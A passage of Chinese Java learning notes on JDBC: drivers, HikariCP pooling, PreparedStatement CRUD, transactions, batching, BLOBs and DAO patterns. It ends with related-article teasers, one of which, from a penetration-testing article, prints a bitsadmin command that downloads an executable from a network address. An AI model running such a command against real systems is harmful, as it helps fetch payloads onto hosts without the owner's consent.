    VALUES ('alice', 'password123', 'alice@example.com');-- 查询数据
    SELECT * FROM user WHERE username = 'alice';-- 更新数据
    UPDATE user SET email = 'new_email@example.com' WHERE id = 1;-- 删除数据
    DELETE FROM user WHERE id = 1;-- 添加索引
    CREATE INDEX idx_username ON user(username);
    
4.3 JDBC连接数据库
  • JDBC核心组件

    • DriverManager:管理JDBC驱动
    • Connection:数据库连接
    • Statement/PreparedStatement/CallableStatement:执行SQL语句
    • ResultSet:查询结果集
  • JDBC驱动加载方式

    // 方式一:Class.forName (推荐)
    Class.forName("com.mysql.cj.jdbc.Driver");// 方式二:DriverManager.registerDriver
    DriverManager.registerDriver(new com.mysql.cj.jdbc.Driver());// 方式三:系统属性
    System.setProperty("jdbc.drivers", "com.mysql.cj.jdbc.Driver");
    
  • 建立数据库连接

    // MySQL连接URL格式
    String url = "jdbc:mysql://localhost:3306/db_name?useSSL=false&serverTimezone=UTC";
    String username = "root";
    String password = "password";// 获取连接
    Connection connection = DriverManager.getConnection(url, username, password);
    
  • JDBC优化 - 使用连接池

    // HikariCP连接池配置
    HikariConfig config = new HikariConfig();
    config.setJdbcUrl("jdbc:mysql://localhost:3306/db_name");
    config.setUsername("root");
    config.setPassword("password");
    config.setMaximumPoolSize(10);
    config.setMinimumIdle(5);
    config.setIdleTimeout(30000);// 创建连接池
    HikariDataSource dataSource = new HikariDataSource(config);// 获取连接
    Connection connection = dataSource.getConnection();
    
  • 常用连接池对比

    连接池优点缺点
    HikariCP速度最快、配置简单、轻量级功能相对简单
    Druid功能丰富、监控统计、SQL防注入配置相对复杂
    C3P0稳定性好、自动恢复能力强性能较低
    DBCPApache官方推荐、配置简单不支持自动恢复连接
4.4 增删改查操作
  • 使用Statement

    try (Connection conn = DriverManager.getConnection(url, username, password);Statement stmt = conn.createStatement()
    ) {// 执行查询ResultSet rs = stmt.executeQuery("SELECT * FROM user");// 处理结果集while (rs.next()) {int id = rs.getInt("id");String name = rs.getString("username");System.out.println(id + " - " + name);}// 执行更新(Insert/Update/Delete)int rowsAffected = stmt.executeUpdate("UPDATE user SET email = 'new@example.com' WHERE id = 1");System.out.println("Updated " + rowsAffected + " rows");
    } catch (SQLException e) {e.printStackTrace();
    }
    
  • 使用PreparedStatement(推荐)

    String sql = "SELECT * FROM user WHERE username = ? AND created_at > ?";try (Connection conn = DriverManager.getConnection(url, username, password);PreparedStatement pstmt = conn.prepareStatement(sql)
    ) {// 设置参数pstmt.setString(1, "alice");pstmt.setTimestamp(2, Timestamp.valueOf("2022-01-01 00:00:00"));// 执行查询ResultSet rs = pstmt.executeQuery();// 处理结果while (rs.next()) {// 处理每一行数据}// 插入示例String insertSql = "INSERT INTO user (username, password, email) VALUES (?, ?, ?)";try (PreparedStatement insertStmt = conn.prepareStatement(insertSql, Statement.RETURN_GENERATED_KEYS)) {insertStmt.setString(1, "bob");insertStmt.setString(2, "securepass");insertStmt.setString(3, "bob@example.com");int rows = insertStmt.executeUpdate();// 获取自动生成的主键try (ResultSet generatedKeys = insertStmt.getGeneratedKeys()) {if (generatedKeys.next()) {long id = generatedKeys.getLong(1);System.out.println("New user ID: " + id);}}}
    } catch (SQLException e) {e.printStackTrace();
    }
    
  • 事务处理

    Connection conn = null;
    try {conn = DriverManager.getConnection(url, username, password);// 关闭自动提交conn.setAutoCommit(false);// 执行多个SQL操作try (PreparedStatement stmt1 = conn.prepareStatement("UPDATE accounts SET balance = balance - ? WHERE id = ?");PreparedStatement stmt2 = conn.prepareStatement("UPDATE accounts SET balance = balance + ? WHERE id = ?")) {// 转账:从账户1转100到账户2double amount = 100.0;stmt1.setDouble(1, amount);stmt1.setInt(2, 1);stmt1.executeUpdate();// 模拟可能出现的异常if (amount > 50) {// throw new SQLException("Transaction test exception");}stmt2.setDouble(1, amount);stmt2.setInt(2, 2);stmt2.executeUpdate();// 提交事务conn.commit();}
    } catch (SQLException e) {// 发生异常,回滚事务if (conn != null) {try {conn.rollback();} catch (SQLException ex) {ex.printStackTrace();}}e.printStackTrace();
    } finally {// 恢复自动提交if (conn != null) {try {conn.setAutoCommit(true);conn.close();} catch (SQLException e) {e.printStackTrace();}}
    }
    
  • 批处理操作

    try (Connection conn = DriverManager.getConnection(url, username, password);PreparedStatement pstmt = conn.prepareStatement("INSERT INTO user (username, password, email) VALUES (?, ?, ?)")
    ) {// 关闭自动提交conn.setAutoCommit(false);// 添加批量操作for (int i = 0; i < 1000; i++) {pstmt.setString(1, "user" + i);pstmt.setString(2, "pass" + i);pstmt.setString(3, "user" + i + "@example.com");pstmt.addBatch();// 每500条执行一次if (i % 500 == 0) {pstmt.executeBatch();pstmt.clearBatch();}}// 执行剩余的批处理pstmt.executeBatch();// 提交事务conn.commit();
    } catch (SQLException e) {e.printStackTrace();
    }
    
  • 处理大数据类型

    // 存储BLOB(二进制大对象)
    String insertBlob = "INSERT INTO documents (name, content) VALUES (?, ?)";
    try (Connection conn = DriverManager.getConnection(url, username, password);PreparedStatement pstmt = conn.prepareStatement(insertBlob)
    ) {pstmt.setString(1, "report.pdf");// 从文件读取二进制数据File file = new File("report.pdf");try (FileInputStream fis = new FileInputStream(file)) {pstmt.setBinaryStream(2, fis, file.length());pstmt.executeUpdate();}
    }// 读取BLOB数据
    String selectBlob = "SELECT content FROM documents WHERE id = ?";
    try (Connection conn = DriverManager.getConnection(url, username, password);PreparedStatement pstmt = conn.prepareStatement(selectBlob)
    ) {pstmt.setInt(1, 1);ResultSet rs = pstmt.executeQuery();if (rs.next()) {Blob blob = rs.getBlob("content");try (InputStream is = blob.getBinaryStream();FileOutputStream fos = new FileOutputStream("downloaded_report.pdf")) {byte[] buffer = new byte[4096];int bytesRead;while ((bytesRead = is.read(buffer)) != -1) {fos.write(buffer, 0, bytesRead);}}}
    }
    
  • 数据库连接管理模式

    // 数据访问对象(DAO)模式
    public class UserDAO {private final DataSource dataSource;public UserDAO(DataSource dataSource) {this.dataSource = dataSource;}public User findById(long id) throws SQLException {String sql = "SELECT * FROM user WHERE id = ?";try (Connection conn = dataSource.getConnection();PreparedStatement pstmt = conn.prepareStatement(sql)) {pstmt.setLong(1, id);try (ResultSet rs = pstmt.executeQuery()) {if (rs.next()) {User user = new User();user.setId(rs.getLong("id"));user.setUsername(rs.getString("username"));user.setEmail(rs.getString("email"));user.setCreatedAt(rs.getTimestamp("created_at"));return user;}return null;}}}// 其他CRUD方法...
    }
    
  • JDBC最佳实践

    1. 始终使用PreparedStatement:防止SQL注入攻击
    2. 使用连接池:提高性能和资源管理
    3. 关闭资源:使用try-with-resources确保资源关闭
    4. 批处理操作:处理大量数据时使用批处理
    5. 正确处理异常:捕获具体异常而不是通用Exception
    6. 使用事务:确保数据一致性
    7. 避免大结果集:使用分页或限制结果数量
    8. 缓存预编译语句:频繁执行的SQL考虑缓存
    9. 参数化SQL文件:将SQL语句与Java代码分离
    10. 定期关闭空闲连接:避免连接泄漏
  • 常见面试问题

    1. JDBC中Statement和PreparedStatement的区别
    2. 如何防止SQL注入攻击
    3. 事务的ACID特性与隔离级别
    4. JDBC连接池的工作原理和优势
    5. 批处理操作的性能影响

5. 项目练习

5.1 多线程下载器
  • 需求分析:文件分片与多线程下载
  • 核心功能:
    • HTTP连接管理
    • 线程池实现并发下载
    • 文件分片与合并
    • 断点续传功能
    • 下载进度监控
5.2 基于JDBC的商城管理系统
  • 数据库设计:
    • 用户表
    • 商品表
    • 订单表
    • 购物车表
  • 核心功能:
    • 用户登录注册
    • 商品查询与过滤
    • 购物车管理
    • 订单处理
    • 数据统计报表
5.3 日志分析工具
  • 功能设计:
    • 日志文件读取
    • 多线程解析
    • 使用Stream API处理数据
    • 结果统计与可视化
  • 技术要点:
    • NIO文件处理
    • 正则表达式解析
    • 并发处理
    • 统计算法

学习资源推荐

  • 《Effective Java》第三版 - Joshua Bloch
  • 《Java并发编程实战》- Brian Goetz等
  • 《Java 8实战》- Raoul-Gabriel Urma等
  • 《高性能MySQL》- Baron Schwartz等
  • 中国MOOC的Java进阶课程
  • 尚硅谷Java高级部分视频
  • 黑马程序员Java并发编程视频

相关文章:

Java学习路线 - 第三阶段笔记

Java学习路线 - 第三阶段笔记 Java高级特性&#xff08;2-3个月&#xff09; 1. 集合框架深入 1.1 List详解 ArrayList&#xff1a;基于动态数组实现&#xff0c;随机访问高效&#xff0c;插入删除效率低LinkedList&#xff1a;基于双向链表实现&#xff0c;插入删除高效&a…...

【无标题】Scala函数基础

函数和方法的区别 1&#xff09; 核心概念 &#xff08;1&#xff09; 为完成某一功能的程序语句的集合&#xff0c;称为函数。 &#xff08;2&#xff09; 类中的函数称之方法。 2&#xff09; 案例实操 &#xff08;1&#xff09; Scala 语言可以在任何的语法结构中声明…...

微信登录、商品浏览前瞻

一.业务效果 二.所需技术...

自动化工作流工具的综合对比与推荐

最近收到很多朋友私信我说&#xff1a;“刷短视频的时候&#xff0c;总是刷到自动化工作流的工具&#xff0c;有好多直播间都在宣传&#xff0c;不知道哪款工具好”。我花了点时间&#xff0c;做了一下测试&#xff0c;大家可以参考一下&#xff0c;以下内容&#xff1a; 以下…...

可实现黑屏与蓝屏反应的屏幕隐私保护软件分享

软件介绍 在信息安全备受关注的当下&#xff0c;一款能够有效保护屏幕隐私的软件 —— 防窥助手&#xff0c;悄然问世。它由吾爱的 遗憾迟香精心开发&#xff0c;为用户的屏幕隐私防护带来全新体验。 独特原理&#xff0c;精准守护 防窥助手的运行原理相当巧妙&#xff0c;它…...

PERL开发环境搭建>>Windows,Linux,Mac OS

特点 简单 快速 perl解释器直接对源代码程序解释执行,是一个解释性的语言, 不需要编译器和链接器来运行代码>>速度快 灵活 借鉴了C/C, Basic, Pascal, awk, sed等多种语言, 定位于实用性语言,既具备了脚本语言的所有功能,也添加了高级语言功能 开源.免费 没有&qu…...

【实战】渗透测试下的传输命令

目录 bitsadmin certutil curl ftp js nc perl php py scp vbs wget WindowsDefender bitsadmin 不支持https、ftp协议&#xff0c;php python带的服务器会出错 >bitsadmin /transfer n http://192.168.1.192/Client.exe e:\1.exe >bitsadmin /rawreturn /…...

JSON 基础知识(一)

第一部分&#xff1a;JSON 基础知识 &#x1f4e2; 快速掌握 JSON&#xff01;文章 视频双管齐下 &#x1f680; 如果你觉得阅读文章太慢&#xff0c;或者更喜欢 边看边学 的方式&#xff0c;不妨直接观看我录制的 JSON 课程视频&#xff01;&#x1f3ac; 视频里会用更直观…...

nodejs:midi-writer-js 将基金净值数据转换为 midi 文件

开放式基金是没有公布每日交易量的。 /funds/data/660008.csv 文件开头&#xff1a; date,jz,ljjz 2016-01-04,1.1141,1.1141 2016-01-05,1.1161,1.1161 2016-01-06,1.1350,1.1350 这是一个将开放式基金数据转换为 MIDI音乐的 js 程序示例。该程序将基金净值映射为 MIDI音符的…...

从零实现Json-Rpc框架】- 项目实现 - 服务端registrydiscovery实现

&#x1f4e2;博客主页&#xff1a;https://blog.csdn.net/2301_779549673 &#x1f4e2;博客仓库&#xff1a;https://gitee.com/JohnKingW/linux_test/tree/master/lesson &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01; &…...

自适应二值化与形态学变换在图像颜色识别与替换中的应用解析

目录 前言一、自适应二值化1.1 取均值 ADAPTIVE_THRESH_MEAN_C1.2 高斯加权求和 ADAPTIVE_THRESH_GAUSSIAN_C1.2.1 一维高斯分布1.2.2 二维高速分布1.2.3 二维高斯分布权重计算规则 1.2.3.1 用户设置了σ1.2.3.2 用户没有设置σ1.3 代码二、形态学变换2.1 核 2.2 腐蚀2.3 膨胀…...

JsonCpp 处理 JSON(现代 C++ 方案)(三)

第三部分:JsonCpp 处理 JSON(现代 C++ 方案) 📢 快速掌握 JSON!文章 + 视频双管齐下 🚀 如果你觉得阅读文章太慢,或者更喜欢 边看边学 的方式,不妨直接观看我录制的 JsonCpp 课程视频!🎬 视频里会用更直观的方式讲解 JsonCpp 的核心概念、实战技巧,并配有动手演…...

flutter 曲线学习 使用第三方插件实现左右滑动

flutter 曲线的使用 实现左右滑动 TemperatureChartPage() TemperatureChartPage2() – 不太完善 方法 ChartDrawPage import package:doluyo/dly_package/widget/dly_widget.dart; import package:fl_chart/fl_chart.dart; import package:flutter/material.dart; impor…...

【WRF工具】GIS4WRF详细介绍:配置 WPS/WRF

【WRF工具】GIS4WRF详细介绍 QGIS-GIS4WRF安装&#xff08;Installation&#xff09;安装 QGIS安装 GIS4WRF GIS4WRF 配置(Configuration)一、如何进入配置界面二、可配置内容1️⃣ 设置工作目录2️⃣ 与 WPS/WRF 集成3️⃣ 与 NCAR 数据档案集成 参考 GIS4WRF 是一个在 QGIS 中…...

【自用记录】本地关联GitHub以及遇到的问题

最近终于又想起GitHub&#xff0c;想上传代码和项目到仓库里。 由于很早之前有在本地连接过GitHub&#xff08;但没怎么用&#xff09;&#xff0c;现在需要重新搞起&#xff08;操作忘得差不多&#xff09;。 在看教程实操的过程中遇到了一些小问题&#xff0c;遂记录一下。 前…...

小程序中跨页面组件共享数据的实现方法与对比

小程序中跨页面/组件共享数据的实现方法与对比 在小程序开发中&#xff0c;实现不同页面或组件之间的数据共享是常见需求。以下是几种主要实现方式的详细总结与对比分析&#xff1a; 一、常用数据共享方法 全局变量&#xff08;getApp()&#xff09;、本地缓存&#xff08;w…...

ngx_http_core_merge_srv_conf

定义在 src\http\ngx_http_core_module.c static char * ngx_http_core_merge_srv_conf(ngx_conf_t *cf, void *parent, void *child) {ngx_http_core_srv_conf_t *prev parent;ngx_http_core_srv_conf_t *conf child;ngx_str_t name;ngx_http_server_name_t…...

如何在中科方德llinux系统上离线安装salt-minion

1&#xff0c;我的系统是什么 国产操作系统 中科方德 NFSChina Server release 4.0.240701 (RTM4-G320) 2&#xff0c;首先准备好两个安装包 salt-minion-2015.8.8-2.el7.noarch.rpm和salt-2015.8.8-2.el7.noarch.rpm 后者这个是前者的依赖项。 所以先安装salt-2015.8.8-2.e…...

RAG系统实战:当检索为空时,如何实现生成模块的优雅降级(Fallback)?

目录 RAG系统实战&#xff1a;当检索为空时&#xff0c;如何实现生成模块的优雅降级&#xff08;Fallback&#xff09;&#xff1f; 一、为什么需要优雅降级&#xff08;Fallback&#xff09;&#xff1f; 二、常用的优雅降级策略 策略一&#xff1a;预设后备提示&#xff0…...

输电线路航空标志球:低空飞行的安全路标 / 恒峰智慧科技

在现代社会&#xff0c;随着航空业的快速发展&#xff0c;低空飞行活动日益频繁。为了确保飞行安全&#xff0c;避免飞机与高压电线等障碍物发生碰撞&#xff0c;输电线路航空标志球应运而生。这种装置被广泛应用于高压输电线路上&#xff0c;尤其是超高压和跨江输电线&#xf…...

【SPP】蓝牙 SDP 协议在SPP中的互操作性解析

在蓝牙通信体系中&#xff0c;服务发现协议&#xff08;SDP, Service Discovery Protocol&#xff09;扮演着 "服务目录" 的核心角色。对于串口通信协议&#xff08;SPP, Serial Port Profile&#xff09;而言&#xff0c;SDP 服务记录是设备间建立串口连接的基础&am…...

本地部署vanna ai+通过http请求调用vanna

本地部署vanna ai ① 准备python环境&#xff0c;推荐最新的python12、13版本 ② 安装vanna库 我这里安装的python环境是python312 进入目录python312/Scripts&#xff0c;在该目录下的命令行窗口中输入以下命令&#xff1a;pip jinstall vanna pip install vanna③ 配置向…...

seq2seq

理解 transformer 中的 encoder decoder 详细的 transformer 教程见&#xff1a;【极速版 – 大模型入门到进阶】Transformer 文章目录 &#x1f30a; Encoder: 给一排向量输出另外一排向量&#x1f30a; Encoder vs. Decoder: multi-head attention vs. masked multi-head at…...

C++ ---- 虚继承

一、什么是虚继承 虚继承就是子类中只有一份间接父类的数据。用于解决多继承中的父类为非虚继承时出现的二义性问题&#xff0c;即菱形继承问题。继承方式需要加上virtual关键字。 二、虚继承的特性 以菱形继承为例&#xff1a; 1.不使用虚继承 根据输出的大小和关系图&…...

COMSOL多层圆片随机堆积三维模型

构建多层圆片随机堆积三维模型可用于材料、化工、土木、生物医学等多领域的研究&#xff0c;如复合材料设计、催化剂载体、颗粒物堆积研究等。本案例介绍在COMSOL内建立三维圆片堆积模型。 三维圆片堆积模型可采用CAD纤维密堆积3D插件建立&#xff0c;参数设置如图所示&#…...

PHP 开发API接口签名验证

就安全来说&#xff0c;所有客户端和服务器端的通信内容应该都要通过加密通道(HTTPS)传输&#xff0c;明文的HTTP通道将会是man-in-the- middle及其各种变种攻击的温床。所谓man-in-the-middle攻击简单讲就是指恶意的黑客可以在客户端和服务器端的明文通信通道上做手 脚&#x…...

Web开发-JavaEE应用ORM框架SQL预编译JDBCMyBatisHibernateMaven

知识点&#xff1a; 0、安全开发-JavaEE-构建工具-Maven 1、安全开发-JavaEE-ORM框架-JDBC 2、安全开发-JavaEE-ORM框架-Mybatis 3、安全开发-JavaEE-ORM框架-Hibernate 4、安全开发-JavaEE-ORM框架-SQL注入&预编译 一、演示案例-WEB开发-JavaEE-构建工具-Maven IDEA配置m…...

软考-数据库系统工程师第四版pdf

软考-数据库系统工程师第四版pdf git中的文件相对没有那么清楚&#xff0c;网盘的有高清版 github下载 这里我给出仓库地址 链接: https://github.com/yaodada123/ruankao-pdf https://github.com/yaodada123/ruankao-pdf gitee下载 https://gitee.com/yao-hengchao/ruank…...

扫描仪+文档pdf编辑器+pdf格式转换器

小扫描仪是一款集“扫描仪文档pdf编辑器pdf格式转换器”于一体的多功能扫描软件&#xff0c;软件功能丰富&#xff0c;而且目前是免费&#xff0c;功能包括扫描、编辑、转换三部分。 扫描&#xff1a;扫描的功能包括文档扫描、身份证扫描、护照扫描、书籍扫描、OCR和二维码。 扫…...

【stm32--HAL库DMA+USART+空闲中断不定长收发数据】

串口通信-Hal库实现不定长度收发&#xff0c;DMAUSART DMA串口STM32CUBEMX配置&#xff08;工程创建&#xff09;基础配置时钟配置工程配置 代码编写现象 DMA 在正式配置之前&#xff0c;我们先来一起简单了解一下DMA。DMA&#xff08;Direct Memory Access&#xff0c;直接内…...

5G-A技术

最近的iOS 18.4 推送了 新功能&#xff0c;最引人注目的便是这个5G-A的这个功能&#xff0c;那什么是5G-A呢 &#xff1f; 目前北京 四环内 还是有能显示出5G-A标志的。 5G-A &#x1f310; 一句话概括&#xff1a; 5G-A 更快的速度 更低的延迟 更强的AI能力 更智能的网…...

Vue 组件 - 动态组件

Vue 渐进式JavaScript 框架 基于Vue2的学习笔记 - Vue 组件 - 动态组件 目录 动态组件 选项卡页面示例 更简单写法 增加输入框 弥补措施 总结 动态组件 选项卡页面示例 功能&#xff1a;选项卡功能&#xff0c;设置导航点击哪个显示相应页面。 设置三个全局组件&#…...

ffmpeg滤镜使用

ffmpeg实现画中画效果 FFmpeg中&#xff0c;可以通过overlay将多个视频流、多个多媒体采集设备、多个视频文件合并到一个界面中&#xff0c;生成画中画的效果 FFmpeg 滤镜 overlay 基本参数 x和y x坐标和Y坐标 eof action 遇到 eof表示时的处理方式&#xff0c;默认为重复。…...

【MVC简介-产生原因、演变历史、核心思想、组成部分、使用场景】

MVC简介 产生原因&#xff1a; MVC&#xff08;Model-View-Controller&#xff09;模式诞生于20世纪70年代&#xff0c;由Trygve Reenskaug在施乐帕克研究中心&#xff08;Xerox PARC&#xff09;为Smalltalk语言设计&#xff0c;目的是解决图形用户界面&#xff08;GUI&…...

基于大模型的房间隔缺损手术全流程预测与方案优化研究报告

目录 一、引言 1.1 研究背景与意义 1.2 研究目的与目标 1.3 研究方法与创新点 二、房间隔缺损概述 2.1 房间隔缺损定义与分类 2.2 发病机制与病理生理 2.3 流行病学特征 三、大模型在房间隔缺损预测中的应用原理 3.1 大模型技术简介 3.2 数据收集与预处理 3.3 模型…...

什么是 CSSD?

文章目录 一、什么是 CSSD&#xff1f;CSSD 的职责 二、CSSD 是如何工作的&#xff1f;三、CSSD 为什么会重启节点&#xff1f;情况一&#xff1a;网络和存储都断联&#xff08;失联&#xff09;情况二&#xff1a;收到其他节点对自己的踢出通知&#xff08;外部 fencing&#…...

uniapp APP端在线升级(简版)

设计思路&#xff1a; 1.版本比较&#xff1a;应用程序检查其当前版本与远程服务器上可用的最新版本 2. 更新状态指示&#xff1a;如果应用程序是不是最新的版本&#xff0c;则页面提示下载最新版本。 3.下载启动&#xff1a;通过plus.downloader.createDownload()启动新应用…...

2024年蓝桥杯Java B组省赛真题超详解析-分布式队列

问题&#xff1a;你需要回答在某个时刻&#xff0c;队列中有多少个元素具有可见性 方案&#xff1a;跟踪每个副节点已经同步到主节点队列的元素数量&#xff0c;并找出所有副节点中同步到的最少元素数量&#xff0c;这个数量即为所有副节点都已经同步的元素数量。 解析&#…...

Vue3入门

环境准备: node.js vscode or webstorm 哪个熟悉用哪个 这两个都是傻瓜式安装 浏览器直接搜索 下载即可 安装: 安装完node.js之后 按住快捷键 winR 打开命令提示符输入node 将显示版本信息 接着我们通过 vite 构建vue3工程 优点: 轻量快速的热重载&#xff08;HMR&#xf…...

向量库(Vector Database)概述

向量库&#xff08;Vector Database&#xff09;概述 1. 核心概念 ​向量 高维空间中的数值数组&#xff0c;通常由模型&#xff08;如BERT、ResNet&#xff09;将非结构化数据&#xff08;文本、图像等&#xff09;转换为嵌入向量。 ​向量相似性 衡量方法&#xff1a;余弦相…...

Oracle迁移达梦遇中断?试试SQLark的断点续迁功能!

在企业级数据迁移项目中&#xff0c;如果迁移单表数据量超过亿行、占用空间超过100GB时&#xff0c;一旦遇到网络中断或迁移报错&#xff0c;往往需要整表重新迁移&#xff0c;导致效率低下&#xff0c;严重影响项目进度。针对这一痛点&#xff0c;SQLark 支持对 Oracle→DM 的…...

上海某海外视频平台Android高级工程师视频一面

问的问题比较细&#xff0c;有很多小细节在里面&#xff0c;平时真不一定会注意到&#xff0c;做一个备忘&#xff1a; 1.Object类里面有哪些方法&#xff1f; Object 类是 Java 中所有类的根类&#xff0c;它定义了一些基本方法&#xff0c;供所有类继承和重写1. 常用方法 1…...

基于yolov11的汽车损伤检测系统python源码+onnx模型+评估指标曲线+精美GUI界面

【算法介绍】 基于YOLOv11的汽车损伤检测系统是一种先进的计算机视觉技术&#xff0c;旨在快速准确地识别汽车的各种损伤类型。该系统利用YOLOv11模型的强大性能&#xff0c;实现了对车辆损伤的精确检测与分类。 该系统能够识别的损伤类型包括裂纹&#xff08;crack&#xff…...

华为IP(3)

DHCP Relay报文格式 DHCP Relay主要负责转发DHCP客户端与DHCP服务器之间的DHCP报文&#xff0c;所以DHCP Relay的报文格式只是把DHCP的报文部分字段做了相应的修改&#xff0c;报文格式没有发生变化 hops&#xff1a;表示当前DHCP报文经过DHCP中继的数目&#xff0c;该字段由…...

面试问题总结:qt工程师/c++工程师

C 语言相关问题答案 面试问题总结&#xff1a;qt工程师/c工程师 C 语言相关问题答案 目录基础语法与特性内存管理预处理与编译 C 相关问题答案面向对象编程模板与泛型编程STL 标准模板库 Qt 相关问题答案Qt 基础与信号槽机制Qt 界面设计与布局管理Qt 多线程与并发编程 目录 基础…...

【TS学习】(15)分布式条件特性

在 TypeScript 中&#xff0c;分布式条件类型&#xff08;Distributive Conditional Types&#xff09; 是一种特殊的行为&#xff0c;发生在条件类型作用于裸类型参数&#xff08;Naked Type Parameter&#xff09; 时。这种特性使得条件类型可以“分布”到联合类型的每个成员…...

四款高效数据报表工具 让数据分析更简单

概述 在数字化时代&#xff0c;企业和组织越来越依赖数据驱动决策&#xff0c;报表软件成为提高数据可视化能力、优化业务管理的关键工具。本文将为大家介绍四款功能强大的报表软件&#xff0c;帮助不同需求的企业找到合适的解决方案。 一、山海鲸报表 山海鲸报表是一款零代…...

QT 非空指针 软件奔溃

在用QT的实际项目中&#xff0c;出现如下现象&#xff1a; 运行软件再关闭软件&#xff0c;然后再运行软件会崩溃。等待5~10分钟&#xff0c;再运行软件&#xff0c;又正常&#xff0c;百思不得其解&#xff0c;后面找到原因是在头文件里定义指针变量时没有赋初nullptr&#x…...

图漾相机——C#语言属性设置

文章目录 前言1.示例程序说明2.SDK API功能介绍2.1 ListDevice2.2 Open2.3 OpenDeviceByIP2.4 Close2.5 DeviceStreamEnable2.6 DeviceStreamFormatDump2.7 DeviceStreamFormatConfig2.8 DeviceReadCurrentEnumData2.9 DeviceReadCalibData2.10 DeviceStreamOn2.11 DeviceStrea…...

WPF中viewmodel单例模式

1、单例模式介绍 单例模式是一种创建型设计模式&#xff0c;确保一个类只有一个实例&#xff0c;并提供一个全局访问点来获取这个实例。它常用于需要全局唯一访问点的场景&#xff0c;如配置管理、日志记录、数据库连接等。 2、WPF 中 ViewModel 的单例实现 在 WPF 中&#…...